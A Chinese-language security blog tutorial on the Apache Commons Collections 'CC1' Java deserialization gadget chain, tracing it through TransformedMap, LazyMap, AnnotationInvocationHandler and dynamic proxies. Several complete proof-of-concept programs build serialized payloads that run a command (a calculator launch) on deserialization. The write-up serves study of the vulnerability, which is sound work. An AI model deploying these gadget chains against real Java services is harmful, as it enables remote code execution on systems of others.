CC1学习

 Von's Blog     2021-10-08   25705 words    & views

Apache Commons Collections

Apache Commons Collections是一个第三方的基础类库,提供了很多强有力的数据结构类型并且实现了各种集合工具类,可以说是apache开源项目的重要组件。而其经典的反序列化漏洞利用链也是学习java反序列化漏洞绕不开的一环。虽然CC链总共有很多条,但是都是利用了Transformer接口,本次我们先从CC1开始学习了解CC链的基本构造。阅读此文前,需要对Java反射和动态代理的知识有相关了解。

Transformer

org.apache.commons.collections.Transformer是一个接口,从代码上看它就只有一个待实现的方法,也即意味着其所有实现类都要实现一个接受Obejct对象并返回一个Object对象的transform方法。

public interface Transformer {
    Object transform(Object var1);
}

我们首先注意到他的这样一个实现类:InvokerTransformer,顾名思义,从这个类的名字我们便能看出应该是与方法调用的相关的类,我们来看它的构造方法和transform方法

public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
        this.iMethodName = methodName;
        this.iParamTypes = paramTypes;
        this.iArgs = args;
    }

public Object transform(Object input) {
  if (input == null) {
    return null;
  } else {
    try {
      Class cls = input.getClass();
      Method method = cls.getMethod(this.iMethodName, this.iParamTypes);
      return method.invoke(input, this.iArgs);
    } catch (NoSuchMethodException var4) {
      throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' does not exist");
    } catch (IllegalAccessException var5) {
      throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
    } catch (InvocationTargetException var6) {
      throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' threw an exception", var6);
    }
  }
}

可以看到transform方法其实是存在一个任意方法调用的,我们可以根据初始化对象时传入的参数通过反射的方法实现任意方法调用,举例:

Runtime r = Runtime.getRuntime();
InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"open -a Calculator"});
invokerTransformer.transform(r);

TransformedMap

很显然,InvokerTransformer是我们最终的漏洞利用点,那接下来我们显然需要一直往上寻找调用点,看看有没有一个类的readObject方法调用了transform方法,这样才有可能能实现反序列化利用,我们往上查看有哪些调用了transform方法的新类,这里注意到的是org.apache.commons.collections.map.TransformedMap类有三处地方执行了transform方法,具体可以又分为两种不同的情况:

put调用

注意到在TransformedMap中有两个类似的方法都调用了transform方法,分别是:

protected Object transformKey(Object object) {
  if (keyTransformer == null) {
    return object;
  }
  return keyTransformer.transform(object);
}
protected Object transformValue(Object object) {
  if (valueTransformer == null) {
    return object;
  }
  return valueTransformer.transform(object);
}

注意到这两者都被TransformedMap类的put方法调用了:

public Object put(Object key, Object value) {
  key = transformKey(key);
  value = transformValue(value);
  return getMap().put(key, value);
}

从其方法我们显然可以想到,假如我们可以控制一个TransformedMap对象的keyTransformer或valueTransformer为上面的invokerTransformer,再对这个TransformedMap对象执行put操作往key或者value传入一个上面的r,那便也可以实现命令执行了。查看TransformedMap的构造方法:

protected TransformedMap(Map map, Transformer keyTransformer, Transformer valueTransformer) {
  super(map);
  this.keyTransformer = keyTransformer;
  this.valueTransformer = valueTransformer;
}

发现keyTransformer和valueTransformer都是由构造方法直接赋值的,我们再看看有哪些方法调用了TransformedMap的构造方法(毕竟protected方法用起来不太方便,只能同个包或者子类调用),发现TransformedMap存在一个public的静态方法调用了TransformedMap的构造方法

public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) {
  return new TransformedMap(map, keyTransformer, valueTransformer);
}

所以目前我们形成了如下的调用链:

TransformedMap.decorate() --> TransformedMap.TransformedMap() --> TransformedMap.put() --> TransformedMap.transformKey() --> InvokerTransformer.transform()

利用代码如下:

Runtime r = Runtime.getRuntime();
InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"open -a Calculator"});
HashMap<Object, Object> invokerTransformerHashMap = new HashMap<>();
Map<Object, Object> transformedmap = TransformedMap.decorate(invokerTransformerHashMap, invokerTransformer, null);
transformedmap.put(r,null);

Map.Entry调用

TransformedMap类中另一处执行了transform方法的实现为:

protected Object checkSetValue(Object value) {
        return this.valueTransformer.transform(value);
    }

很显然,从上面的分析得知,通过TransformedMap.decorate() --> TransformedMap.TransformedMap() 可以控制valueTransformer,只要我们再能控制传参给checkSetValue的参数为r,便也能实现命令执行。

查看哪里调用了checkSetValue方法,发现仅在TransformedMap的父类AbstractInputCheckedMapDecorator类中的一个静态内部类中调用了checkSetValue方法。

static class MapEntry extends AbstractMapEntryDecorator {

  /** The parent map */
  private final AbstractInputCheckedMapDecorator parent;

  protected MapEntry(Map.Entry entry, AbstractInputCheckedMapDecorator parent) {
    super(entry);
    this.parent = parent;
  }

  public Object setValue(Object value) {
    value = parent.checkSetValue(value);
    return entry.setValue(value);
  }
}

可以看到该类其实就是在对MapEntry进行修饰,那么MapEntry是什么呢,事实上Map.Entry接口在 Java 中代表了键值对的数据格式,也就是该类其实是在对于Map中的键值对进行修饰,又由于TransformedMap继承了AbstractInputCheckedMapDecorator,我们可以猜想对于TransformedMap这个Map对象,当我们对其执行setValue()操作时其实调用的就是MapEntry中的setValue方法。

因此,我们只需要获取TransformedMap的一个Entry(键值对),再对这个Entry执行setValue(),就可以控制transform函数的参数了,代码如下:

Runtime r = Runtime.getRuntime();
InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"open -a Calculator"});
HashMap<Object, Object> invokerTransformerHashMap = new HashMap<>();
invokerTransformerHashMap.put(null,null);
Map<Object,Object> transformedmap = TransformedMap.decorate(invokerTransformerHashMap, null, invokerTransformer);

for (Map.Entry entry:transformedmap.entrySet()){
  entry.setValue(r);
}

截止目前我们已经可以通过一个map对象并通过它的一些基本操作(如put和Map.Entry的setValue方法)执行命令,接下来我们再往上找,看看有没有哪个类的readObject方法里面执行了调用了这两个方法。

AnnotationInvocationHandler

我们发现sun.reflect.annotation.AnnotationInvocationHandler这个类的readObject方法有对map中的元素进行setValue的操作,假如可控的话,那我们就到了链的终点啦!看下readObject函数:

private void readObject(java.io.ObjectInputStream s)
  throws java.io.IOException, ClassNotFoundException {
  s.defaultReadObject();

  // Check to make sure that types have not evolved incompatibly

  AnnotationType annotationType = null;
  try {
    annotationType = AnnotationType.getInstance(type);
  } catch(IllegalArgumentException e) {
    // Class is no longer an annotation type; time to punch out
    throw new java.io.InvalidObjectException("Non-annotation type in annotation serial stream");
  }

  Map<String, Class<?>> memberTypes = annotationType.memberTypes();

  // If there are annotation members without values, that
  // situation is handled by the invoke method.
  for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {
    String name = memberValue.getKey();
    Class<?> memberType = memberTypes.get(name);
    if (memberType != null) {  // i.e. member still exists
      Object value = memberValue.getValue();
      if (!(memberType.isInstance(value) ||
            value instanceof ExceptionProxy)) {
        memberValue.setValue(
          new AnnotationTypeMismatchExceptionProxy(
            value.getClass() + "[" + value + "]").setMember(
            annotationType.members().get(name)));
      }
    }
  }
}

这里通过 for (Map.Entry<String, Object> memberValue : memberValues.entrySet())遍历了memberValues的entry,然后在经过两个if判断语句后对每个entry执行了setValue(),而如我们前面所使用的一样,TransformedMap的setValue()存在命令执行的可能性。

我们再看下AnnotationInvocationHandler的构造方法:

AnnotationInvocationHandler(Class<? extends Annotation> type, Map<String, Object> memberValues) {
  Class<?>[] superInterfaces = type.getInterfaces();
  if (!type.isAnnotation() ||
      superInterfaces.length != 1 ||
      superInterfaces[0] != java.lang.annotation.Annotation.class)
    throw new AnnotationFormatError("Attempt to create proxy for a non-annotation type.");
  this.type = type;
  this.memberValues = memberValues;
}

可以看到memberValues的值是直接从构造方法中传参中得到的(构造函数的if语句很容易满足,只是在确认第一个参数是否为注解类型并满足相应条件),也就是我们可以直接传入我们上面构造的TransformedMap,便会在readObject方法中遍历每个entr。

目前我们距离可以执行命令已经很近了,但是仍然有两个问题需要解决:

  1. 第一个问题是在遍历entry时,需要经过两个if语句的判断才会执行setValue()方法
  2. 第二个问题是最后执行setValue时,setValue中的参数我们是无法任意控制的,而我们上面的Payload中,需要传入的参数为Runtime对象

第一个问题

我们先来解决第一个问题,首先第一个if判断语句逻辑大概为:

annotationType = AnnotationType.getInstance(type);    //type为构造方法中传入的Annotation的Class
Map<String, Class<?>> memberTypes = annotationType.memberTypes();
String name = memberValue.getKey();
Class<?> memberType = memberTypes.get(name);
if (memberType != null) {
  ...
}
annotationType = AnnotationType.getInstance(type);    //type为构造方法中传入的Annotation的Class
Map<String, Class<?>> memberTypes = annotationType.memberTypes();

这两句的作用在于获取得到一个键为注解元素名称,值为每个成员名称相关联的类型的Map,例如对于Retention这个注解:

@Documented
@Retention(RetentionPolicy.RUNTIME)
@Target(ElementType.ANNOTATION_TYPE)
public @interface Retention {
    /**
     * Returns the retention policy.
     * @return the retention policy
     */
    RetentionPolicy value();    //定义了一个名字为value的注解元素
}

得到的memberTypes组织形式类似于:{"value":class java.lang.annotation.RetentionPolicy}

因此欲使能通过第一个if,首先我们不能选用像Override这样的没有注解元素的注解进行传参,其次对于我们的entry,需要值与Map中已有的元素符合(例如假如我们在构造方法中传入的为Retention.class,entry的key就需要为value)同时对于已有entry的value,不能为null,这里我之前踩坑了,为null时执行后面的

new AnnotationTypeMismatchExceptionProxy(value.getClass() + "[" + value + "]").setMember( annotationType.members().get(name)));

会报错。

而第二个判断语句实际上则是在判断当前entry的value是不是memberType的实例(假如我们之前传入的是Retention.class,那么就是判断value是不是java.lang.annotation.RetentionPolicy的实例),如果不是实例的话则可通过if判断,而这显然是肯定的,所以第二个if实际上很好满足。

Object value = memberValue.getValue();
if (!(memberType.isInstance(value) || value instanceof ExceptionProxy)){
  ...
}

第二个问题

对于第二个问题,我们先来回顾下原有的POC:

Runtime r = Runtime.getRuntime();
InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"open -a Calculator"});
HashMap<Object, Object> invokerTransformerHashMap = new HashMap<>();
invokerTransformerHashMap.put("value",1);    //这里是为了符合if语句进行的修改
Map<Object,Object> transformedmap = TransformedMap.decorate(invokerTransformerHashMap, null, invokerTransformer);

for (Map.Entry entry:transformedmap.entrySet()){
  entry.setValue(r);
}

我们来思考下是否有可能构造出这么一个TransformedMap,可以在无视setValue传递的参数的情况下,也能正常执行命令,事实上在另外两个Transformer实现类的帮助下我们是可以实现这一目标的!

  1. ConstantTransformer:该类的构造方法接受一个Object对象,并在transform方法中返回该对象
public ConstantTransformer(Object constantToReturn) {
  this.iConstant = constantToReturn;
}

public Object transform(Object input) {
  return this.iConstant;
}
  1. ChainedTransformer:该类的构造方法接受一个 Transformer[] 数组,即列表中的所有元素都要实现 Transformer 接口,同时在transform方法中会对Transformer数组中的元素按照顺序调用transform方法,同时将上一个元素的返回对象作为参数输入给下一个元素的transform方法中。
public ChainedTransformer(Transformer[] transformers) {
        this.iTransformers = transformers;
    }

public Object transform(Object object) {
  for(int i = 0; i < this.iTransformers.length; ++i) {
    object = this.iTransformers[i].transform(object);
  }

  return object;
}

有了这两个类我们要怎么构建Payload呢,首先我们要明确一点entry.setValue(r)实际上是在执行一个Transformer的transform方法并将r作为参数,只不过在AnnotationInvocationHandler类中我们没办法随意的传入r而已。但是没关系,我们可以将r作为ConstantTransformer的构造方法参数传入,而ConstantTransformer的transform方法无论传参内容是什么都返回构造方法的输入,也就是得到r,然后再利用ChainedTransformer的特点,将上一次的返回结果作为参数输入给下一个元素即InvokerTransformer对象的transform方法中即可。具体看代码:

Runtime r = Runtime.getRuntime();
InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"open -a Calculator"});
new ChainedTransformer(new Transformer[]{new ConstantTransformer(r),invokerTransformer}).transform("111111111111");

最后的transform方法传参是不影响结果的。

我们可以构造出理论POC:

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationTargetException;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;

public class cc1 {
    public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException, IllegalAccessException, IOException {
        Runtime r = Runtime.getRuntime();
        InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"open -a Calculator"});
        ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{new ConstantTransformer(r), invokerTransformer});
        HashMap<String, InvokerTransformer> transformerHashMap = new HashMap<>();
        transformerHashMap.put("value",null);
        Map<Object, Object> transformedmap = TransformedMap.decorate(transformerHashMap, null, chainedTransformer);
        Class<?> c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor<?> constructor = c.getDeclaredConstructor(Class.class, Map.class);
        constructor.setAccessible(true);
        Object anno = constructor.newInstance(Retention.class,transformedmap);
        serialize(anno);
        unserialize();
    }
    public static void serialize(Object obj) throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(Files.newOutputStream(Paths.get("ser.bin")));
        oos.writeObject(obj);
    }

    public static void unserialize() throws IOException, ClassNotFoundException {
        ObjectInputStream ois = new ObjectInputStream(Files.newInputStream(Paths.get("ser.bin")));
        Object obj = ois.readObject();
        System.out.println(obj);
    }
}

但是实际上该代码抛出一个java.io.NotSerializableException的异常,原因是我们尝试序列化Runtime对象,而Runtime对象是没有继承Serializable接口的,因此是不能被序列化的,但是我们并不是直接序列化Runtime对象呀为什么还会出现这个问题?这里其实还涉及到java对引用用对象的序列化问题,在此前我们知道:一个对象可以被序列化需要其本身实现了Serializable接口并且其所有属性也都是可序列化的。而事实上当我们序列化一个对象时,实际上不仅仅是单个对象本身被转换为可以存储或传输的字节序列,而是该对象以及它所引用的所有其他对象共同构成了一个“对象图”。这个对象图包括了原始对象,以及它直接或间接引用的所有对象。所以尽管Runtime对象不是AnnotationInvocationHandler对象的直接属性,但显然属于其间接引用对象,所以也会导致整体的序列化失败。

反射构造

为了解决这个问题,我们很自然的想到,既然我们不能在本地构建Runtime对象,我们能不能通过命令执行让服务器端构建一个Runtime对象再自己来执行呢。而前面我们又提到,Runtime没有实现Serializable接口,但是Class对象是有实现的,所以我们得尝试着从一个Runtime.class对象逐步执行命令而不能直接使用Runtime.getRuntime()得到RunTime对象,先来看下我们原来构建TransformerMap的代码:

Runtime r = Runtime.getRuntime();
InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"open -a Calculator"});
ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{new ConstantTransformer(r), invokerTransformer});

首先初步变换为:

Class<Runtime> runtimeClass = Runtime.class;
Method getMethod = runtimeClass.getMethod("getRuntime", null);
Object invoke = getRuntime.invoke(null,null);
InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"open -a Calculator"});
ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{new ConstantTransformer(runtime), invokerTransformer});

然后再次变换为:

Class<Runtime> runtimeClass = Runtime.class;
Object getMethod = new InvokerTransformer("getMethod", new Class[]{String.class,Class[].class}, new Object[]{"getRuntime",null}).transform(runtimeClass);
Object invoke = new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}).transform(getMethod);
InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"open -a Calculator"});
ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{new ConstantTransformer(invoke), invokerTransformer});

我们发现对于前三个赋值语句,本质上都是前一个的输出作为后一个Transformer的transform函数的传参,刚好满足ChainedTransformer的特点,因此我们可以变换为:

ChainedTransformer chainedTransformer = new ChainedTransformer(
  new Transformer[]{
  new ConstantTransformer(Runtime.class),
  new InvokerTransformer("getMethod", new Class[]{String.class,Class[].class},new Object[ {"getRuntime",null}), 
  new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
  new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"open -a Calculator"})});

因此最终POC为:

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationTargetException;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;

public class cc1 {
    public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException, IllegalAccessException, IOException {
        ChainedTransformer chainedTransformer = new ChainedTransformer(
            new Transformer[]{new ConstantTransformer(Runtime.class),
            new InvokerTransformer("getMethod", new Class[]{String.class,Class[].class},
            new Object[]{"getRuntime",null}), new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
            new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"open -a Calculator"})});
        HashMap<Object, Object> transformerHashMap = new HashMap<>();
        transformerHashMap.put("value",1);
        Map<Object, Object> transformedmap = TransformedMap.decorate(transformerHashMap, null, chainedTransformer);
        Class<?> c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor<?> constructor = c.getDeclaredConstructor(Class.class, Map.class);
        constructor.setAccessible(true);
        Object anno = constructor.newInstance(Retention.class,transformedmap);
        serialize(anno);
        unserialize();
    }
    public static void serialize(Object obj) throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(Files.newOutputStream(Paths.get("ser.bin")));
        oos.writeObject(obj);
    }

    public static Object unserialize() throws IOException, ClassNotFoundException {
        ObjectInputStream ois = new ObjectInputStream(Files.newInputStream(Paths.get("ser.bin")));
        Object obj = ois.readObject();
        return obj;
    }
}

LazyMap

上述POC以TransformedMap辅助进行攻击,而实际上在ysoserial中并没有使用TransformedMap而是使用了更加复杂的LazyMap.

回到之前,当我们发现invokerTransformer的transform方法可以执行命令后,我们往上寻找调用点发现TransformedMap类中有对transform方法的调用,但事实上LazyMap中同样有执行transform方法的调用点:

public Object get(Object key) {
  // create value for key if key is not currently in the map
  if (map.containsKey(key) == false) {
    Object value = factory.transform(key);
    map.put(key, value);
    return value;
  }
  return map.get(key);
}

可以看到,当key和factory可控时就可以执行命令,再注意下LazyMap的构造方法:

protected LazyMap(Map map, Transformer factory) {
  super(map);
  if (factory == null) {
    throw new IllegalArgumentException("Factory must not be null");
  }
  this.factory = factory;
}

发现明显factory是可控的,再继续往上搜寻有没有调用了LazyMap构造方法的调用点,发现和TransformedMap类似,存在一个decorate的静态方法。

public static Map decorate(Map map, Factory factory) {
  return new LazyMap(map, factory);
}

接下来的关键就是我们要寻求哪个类调用了get方法,遗憾的是我们发现并没有发现有一个类的readObject方法调用了get方法。不过我们注意到AnnotationInvocationHandler类(没错就是之前我们利用过的那个类)的invoke方法中调用了get方法。

public Object invoke(Object proxy, Method method, Object[] args) {
  String member = method.getName();
  Class<?>[] paramTypes = method.getParameterTypes();

  // Handle Object and Annotation methods
  if (member.equals("equals") && paramTypes.length == 1 &&
      paramTypes[0] == Object.class)
    return equalsImpl(args[0]);
  if (paramTypes.length != 0)
    throw new AssertionError("Too many parameters for an annotation method");

  switch(member) {
    case "toString":
      return toStringImpl();
    case "hashCode":
      return hashCodeImpl();
    case "annotationType":
      return type;
  }

  // Handle annotation member accessors
  Object result = memberValues.get(member);

  if (result == null)
    throw new IncompleteAnnotationException(type, member);

  if (result instanceof ExceptionProxy)
    throw ((ExceptionProxy) result).generateException();

  if (result.getClass().isArray() && Array.getLength(result) != 0)
    result = cloneArray(result);

  return result;
}

且AnnotationInvocationHandler继承了InvocationHandler类,所以说AnnotationInvocationHandler其实是之前学习动态代理时的中间类(或者也叫处理器类),而我们知道,在动态代理中,动态代理对象进行的每个方法调用都会被转发到中间类的invoke方法进行调用。

所以我们可以构建一个实现了Array接口(其实单纯这步的话代理什么接口都无所谓)的代理对象,同时将AnnotationInvocationHandler作为中间类(处理器类),这样的话当我们执行Array接口的任意方法时就会调用AnnotationInvocationHandler的invoke方法,也就实现了命令执行。POC如下:

ChainedTransformer chainedTransformer = new ChainedTransformer(
  new Transformer[]{new ConstantTransformer(Runtime.class),
                    new InvokerTransformer("getMethod", new Class[]{String.class,Class[].class},
                                           new Object[]{"getRuntime",null}), new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
                    new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"open -a Calculator"})});
HashMap<Object, Object> hashMap = new HashMap<>();
hashMap.put("value",1);
Map lazymap = LazyMap.decorate(hashMap, chainedTransformer);

Class<?> c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor<?> constructor = c.getDeclaredConstructor(Class.class, Map.class);
constructor.setAccessible(true);
Object anno = constructor.newInstance(Retention.class,lazymap);

Array array = (Array) Proxy.newProxyInstance(Array.class.getClassLoader(), new Class<?>[] {Array.class}, (InvocationHandler) anno);
array.free();

这个地方我自己踩坑了两个地方:

  1. 对于第二个参数,不能采用动态代理中经常使用的Array.class.getInterfaces()写法,因为Array本身就是一个接口,这种写法用于传入的是一个实例对象的,才能用r.class.getInterfaces()这种写法

  2. 随后在调用任意方法时,我们只能调用无参数的方法,因为AnnotationInvocationHandler的invoke方法中如果参数列表长度不为0会抛出异常:

    Class<?>[] paramTypes = method.getParameterTypes();  
    if (paramTypes.length != 0)
        throw new AssertionError("Too many parameters for an annotation method");
    

    其次,我们最好调用一个返回类型为void还是Object的方法,因为命令执行完会返回一个Process对象,如果返回值为其他类型的虽然可以执行命令但会抛出一个ClassCastException异常。因此我选择了返回值为void的free()方法。

但是到了这个时候假如我们直接反序列化这个代理那实际上是不可以执行命令的。代理对象被序列化和反序列化时,真正被序列化和反序列化的是InvocationHandler对象,而不是代理对象本身。所以对于上面的代理对象,相当于在反序列化的时候实际上重构的是一个InvocationHandler对象。而InvocationHandler对象是不具有(每个方法调用都会被转发到中间类的invoke方法进行调用)这一特性的。具体来说对于此时重构的对象来说,其拥有的属性来自于

Object anno = constructor.newInstance(Retention.class,lazymap);

的传递,而后续在readObject方法中对map执行的方法也是针对于lazymap这个对象执行的,这个对象并不具有(每个方法调用都会被转发到中间类的invoke方法进行调用)这一特性(因为其并不是一个代理对象)

那么知晓了这一问题,其实解决方法也就很简单了,我们要是可以再多做一步,第二个传入的参数不是lazymap,而是一个代理对象,那就可以实现这一目的了,POC如下:

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;

import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Proxy;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;

public class cc1 {
  public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException, IllegalAccessException, IOException{
    ChainedTransformer chainedTransformer = new ChainedTransformer(
      new Transformer[]{new ConstantTransformer(Runtime.class),
                        new InvokerTransformer("getMethod", new Class[]{String.class,Class[].class},
                                               new Object[]{"getRuntime",null}), new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
                        new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"open -a Calculator"})});
    HashMap<Object, Object> hashMap = new HashMap<>();
    hashMap.put("value",1);
    Map lazymap = LazyMap.decorate(hashMap, chainedTransformer);

    Class<?> c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
    Constructor<?> constructor = c.getDeclaredConstructor(Class.class, Map.class);
    constructor.setAccessible(true);
    Object anno = constructor.newInstance(Retention.class,lazymap);
    Map proxyInstance = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class<?>[] {Map.class}, (InvocationHandler) anno);
    Object obj = constructor.newInstance(Retention.class,proxyInstance);
    serialize(obj);
    unserialize();
  }
  public static void serialize(Object obj) throws IOException {
    ObjectOutputStream oos = new ObjectOutputStream(Files.newOutputStream(Paths.get("ser.bin")));
    oos.writeObject(obj);
  }

  public static Object unserialize() throws IOException, ClassNotFoundException {
    ObjectInputStream ois = new ObjectInputStream(Files.newInputStream(Paths.get("ser.bin")));
    Object obj = ois.readObject();
    return obj;
  }
}

这里proxyInstance就必须代理Map接口而不能是Array接口了,此时obj对象的memberValues属性为proxyInstance,如果proxyInstance不是代理Map接口,在

for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {

时会没有entrySet()导致报错并无法调用invoke()方法。

高版本失效的原因

事实上在jdk8u71以后CC1实际上失效了,原因是在改动后的AnnotationInvocationHandler的readObject方法中,不再直接对我们传入的memberValues进行直接的操作,而是新建了一个LinkedHashMap来进行操作,这对于我们两种利用方法的打击都是直接的。

image-20210217234650079

参考文章

P神的Java安全漫谈

JAVA反序列化 - Commons-Collections组件

Java反序列化CommonsCollections篇(一) CC1链手写EXP